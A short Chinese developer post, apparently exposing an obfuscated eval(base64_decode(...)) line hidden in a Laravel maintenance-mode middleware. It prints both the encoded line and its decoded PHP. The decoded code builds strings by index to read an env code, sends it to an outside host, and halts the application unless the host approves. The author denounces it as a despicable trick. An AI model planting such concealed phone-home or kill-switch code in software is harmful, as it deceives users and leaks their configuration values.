icode不能为空

app/Http/Middleware/CheckForMaintenanceMode.php

    eval(base64_decode('JHM9c3RyX3NwbGl0KCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OV86Lz89LicpOyRhPXN0cl9zcGxpdCgnMTIxNDE0MDI2MjAyMTQwMzA0JywyKTskaz0nJztmb3JlYWNoKCRhIGFzICRiKXskay49JHNbaW50dmFsKCRiKV07fSRrPWVudigkaywnJyk7JGE9c3RyX3NwbGl0KCczMzQ1NDU0MTYzNjQ2NDI2NDEzNDQ0NjczNDM4NDA0MDI4NjcyODQwMzg2NTM0Mjg0MDI5MzA2NicsMik7JHY9Jyc7Zm9yZWFjaCgkYSBhcyAkYil7JHYuPSRzW2ludHZhbCgkYildO30kdi49JGs7JHI9anNvbl9kZWNvZGUoZmlsZV9nZXRfY29udGVudHMoJHYpLDEpO2lmKCRyWydjJy4nbycuJ2RlJ10hPSgxMCoxMCoxMCkpe2VjaG8kclsnbScuJ3MnLidnJ10/PycnO2V4aXQ7fQ=='));

执行了

 $s = str_split('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_:/?=.');
        $a = str_split('121414026202140304', 2);
        $k = '';
        foreach ($a as $b) {
            $k .= $s[intval($b)];
        }
        $k = env($k, '');  //获取  MOOC_CODE
        $a = str_split('33454541636464264134446734384040286728403865342840293066', 2);
        $v = '';
        foreach ($a as $b) {
            $v .= $s[intval($b)];
        }
        $v .= $k;

        //请求 http://apis.imooc.com?icode= 校验
        $r = json_decode(file_get_contents($v), 1);
        if ($r['c' . 'o' . 'de'] != (10 * 10 * 10)) {
            echo $r['m' . 's' . 'g'] ?? '';
            exit;
        }

卑劣的手段